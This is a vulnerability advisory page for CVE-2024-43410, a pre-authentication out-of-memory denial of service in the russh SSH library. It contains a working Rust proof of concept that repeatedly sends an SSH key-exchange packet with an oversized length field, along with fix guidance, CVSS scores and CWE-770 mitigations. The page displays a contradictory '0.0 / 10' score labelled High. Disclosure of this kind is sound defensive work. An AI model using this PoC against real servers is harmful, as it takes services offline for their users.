GHSA-vgvv-x7xg-6cqg CVE-2024-43410
Russh has an OOM Denial of Service due to allocation of untrusted amount
- Severity
- 0.0 / 10
- High · CVSS 4.0
- Exploit chance (EPSS)
- 0.91%
- Chance of exploitation in the next 30 days. Higher than 60.05% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-770 Allocation of Resources Without Limits or Throttling
- Fix
0.44.1- Upgrade russh to this version or later
Description
Summary
Allocating an untrusted amount of memory allows any unauthenticated user to OOM a russh server.
Details
An SSH packet consists of a 4-byte big-endian length, followed by a byte stream of this length. After parsing and potentially decrypting the 4-byte length, russh allocates enough memory for this bytestream, as a performance optimization to avoid reallocations later.
But this length is entirely untrusted and can be set to any value by the client, causing this much memory to be allocated, which will cause the process to OOM within a few such requests.
RFC 4253 contains an explicit section on packet length limits: https://datatracker.ietf.org/doc/html/rfc4253#section-6.1
However, implementations SHOULD check that the packet length is reasonable in order for the implementation to avoid denial of service and/or buffer overflow attacks.
PoC
Running the echoserver example on port 2222 (cd russh && cargo run --release --example echoserver), the provided Rust program can be executed against this echoserver and will cause it to OOM within a few tries.
<details> <summary>Rust code to run against the echo server</summary>
Cargo.toml
[package]
name = "poc"
version = "0.1.0"
edition = "2021"
[dependencies]
hex-literal = "=0.4.1"
main.rs
use std::time::Duration;
use std::{error::Error, net::SocketAddr};
use std::{
io::{Read, Write},
net::TcpStream,
};
fn main() -> Result<(), Box<dyn Error>> {
loop {
attempt()?;
eprintln!("still running, trying again in a few seconds");
std::thread::sleep(Duration::from_secs(2));
}
}
fn attempt() -> Result<(), Box<dyn Error>> {
for i in 0..5 {
eprintln!("iteration {i}");
let mut s = TcpStream::connect("0.0.0.0:2222".parse::<SocketAddr>().unwrap())?;
s.write_all(b"SSH-2.0-OpenSSH_9.7\r\n")?;
s.read(&mut [0; 1000])?;
// A KeyExchangeInit copied from an OpenSSH client run but the length has been replaced with 0xFFFFFF00.
s.write_all(&hex_literal::hex!(
"
ffffff00071401af35150e67f2bc6dc4bc6b5330901900000131736e74727570373631783235353
1392d736861353132406f70656e7373682e636f6d2c637572766532353531392d7368613235362c
637572766532353531392d736861323536406c69627373682e6f72672c656364682d736861322d6
e697374703235362c656364682d736861322d6e697374703338342c656364682d736861322d6e69
7374703532312c6469666669652d68656c6c6d616e2d67726f75702d65786368616e67652d73686
13235362c6469666669652d68656c6c6d616e2d67726f757031362d7368613531322c6469666669
652d68656c6c6d616e2d67726f757031382d7368613531322c6469666669652d68656c6c6d616e2
d67726f757031342d7368613235362c6578742d696e666f2d632c6b65782d7374726963742d632d
763030406f70656e7373682e636f6d000001cf7373682d656432353531392d636572742d7630314
06f70656e7373682e636f6d2c65636473612d736861322d6e697374703235362d636572742d7630
31406f70656e7373682e636f6d2c65636473612d736861322d6e697374703338342d636572742d7
63031406f70656e7373682e636f6d2c65636473612d736861322d6e697374703532312d63657274
2d763031406f70656e7373682e636f6d2c736b2d7373682d656432353531392d636572742d76303
1406f70656e7373682e636f6d2c736b2d65636473612d736861322d6e697374703235362d636572
742d763031406f70656e7373682e636f6d2c7273612d736861322d3531322d636572742d7630314
06f70656e7373682e636f6d2c7273612d736861322d3235362d636572742d763031406f70656e73
73682e636f6d2c7373682d656432353531392c65636473612d736861322d6e697374703235362c6
5636473612d736861322d6e697374703338342c65636473612d736861322d6e697374703532312c
736b2d7373682d65643235353139406f70656e7373682e636f6d2c736b2d65636473612d7368613
22d6e69737470323536406f70656e7373682e636f6d2c7273612d736861322d3531322c7273612d
736861322d3235360000006c63686163686132302d706f6c7931333035406f70656e7373682e636
f6d2c6165733132382d6374722c6165733139322d6374722c6165733235362d6374722c61657331
32382d67636d406f70656e7373682e636f6d2c6165733235362d67636d406f70656e7373682e636
f6d0000006c63686163686132302d706f6c7931333035406f70656e7373682e636f6d2c61657331
32382d6374722c6165733139322d6374722c6165733235362d6374722c6165733132382d67636d4
06f70656e7373682e636f6d2c6165733235362d67636d406f70656e7373682e636f6d000000d575
6d61632d36342d65746d406f70656e7373682e636f6d2c756d61632d3132382d65746d406f70656
e7373682e636f6d2c686d61632d736861322d3235362d65746d406f70656e7373682e636f6d2c68
6d61632d736861322d3531322d65746d406f70656e7373682e636f6d2c686d61632d736861312d6
5746d406f70656e7373682e636f6d2c756d61632d3634406f70656e7373682e636f6d2c756d6163
2d313238406f70656e7373682e636f6d2c686d61632d736861322d3235362c686d61632d7368613
22d3531322c686d61632d73686131000000d5756d61632d36342d65746d406f70656e7373682e63
6f6d2c756d61632d3132382d65746d406f70656e7373682e636f6d2c686d61632d736861322d323
5362d65746d406f70656e7373682e636f6d2c686d61632d736861322d3531322d65746d406f7065
6e7373682e636f6d2c686d61632d736861312d65746d406f70656e7373682e636f6d2c756d61632
d3634406f70656e7373682e636f6d2c756d61632d313238406f70656e7373682e636f6d2c686d61
632d736861322d3235362c686d61632d736861322d3531322c686d61632d736861310000001a6e6
f6e652c7a6c6962406f70656e7373682e636f6d2c7a6c69620000001a6e6f6e652c7a6c6962406f
70656e7373682e636f6d2c7a6c69620000000000000000000000000000000000000000
"
))?;
s.shutdown(std::net::Shutdown::Both)?;
}
Ok(())
}
</details>
Impact
Due to this allocation, a russh server can be brought to OOM, causing a DoS. Since this happens before authentication, it can be done by any user that has access to the TCP port over the internet.
Affected versions
crates.io
| Package | Vulnerable | Fixed in |
|---|---|---|
| russh | < 0.44.1 |
0.44.1 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
russh crates.io → 0.44.1
- cargo
cargo update -p russh --precise 0.44.1
Severity breakdown
CVSS 4.0 0.0
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
- Attack vector
- Network
- Attack complexity
- Low
- Attack requirements
- None
- Privileges required
- None
- User interaction
- None
- Confidentiality (vulnerable system)
- None
- Integrity (vulnerable system)
- None
- Availability (vulnerable system)
- High
- Confidentiality (subsequent systems)
- None
- Integrity (subsequent systems)
- None
- Availability (subsequent systems)
- None
CVSS 3.1 7.5
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- None
- Integrity
- None
- Availability
- High
Weakness
CWE-770: Allocation of Resources Without Limits or Throttling
The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.
How to prevent it
- Requirements: Clearly specify the minimum and maximum expectations for capabilities, and dictate which behaviors are acceptable when resource allocation reaches limits.
- Architecture and Design: Limit the amount of resources that are accessible to unprivileged users. Set per-user limits for resources. Allow the system administrator to define these limits. Be careful to avoid CWE-410.
- Architecture and Design: Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place, and it will help the administrator to identify who is committing the abuse. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
- Architecture and Design: Mitigation of resource exhaustion attacks requires that the target system either: recognizes the attack and denies that user further access for a given amount of time, typically by using increasing time delays uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed. The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question. The second solution can be difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply requires more resources on the part of the attacker.
- Architecture and Design: Ensure that protocols have specific limits of scale placed on them.
- Architecture and Design, Implementation: If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery. Ensure that all failures in resource allocation place the system into a safe posture.
- Operation, Architecture and Design: Use quotas or other resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems. When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users. Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-vp5q-ff62-jwqv russh: Agent server never calls `Agent::confirm`, so keys added with the confirm constraint (`ssh-add -c`) sign without confirmation | High | Also affects russh |
| GHSA-fw5c-8223-6h42 russh: peer-declared zero maximum packet size permanently stalls channel writes (silent AsyncWrite hang) | Medium | Also affects russh |
| GHSA-9wfm-jcj8-jfv9 russh's SSH agent server is susceptible to unbound allocations via repeated SSH_AGENT_CONSTRAIN_CONFIRM messages | Low | Also affects russh |
| GHSA-4p9f-7p9m-5vfg russh's SSH client is susceptible to unbounded allocations via EXT_INFO packets | Medium | Also affects russh |
| GHSA-4wc5-f2rc-q74m russh: Unbounded memory allocation in agent protocol server via crafted constraint records | Medium | Also affects russh |
| GHSA-j7h2-66j4-ghjf A russh SSH server accepts a publickey authentication whose signature uses a different algorithm than the one named in the request | Low | Also affects russh |
| GHSA-g6xm-f9xp-qq35 Russh: Configured server auth-attempt cap is not enforced in the USERAUTH_REQUEST runtime path | Low | Also affects russh |
| GHSA-w3jg-pjxf-73p4 Russh: Missing X25519 zero-point validation in hybrid ML-KEM key exchange | Medium | Also affects russh |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor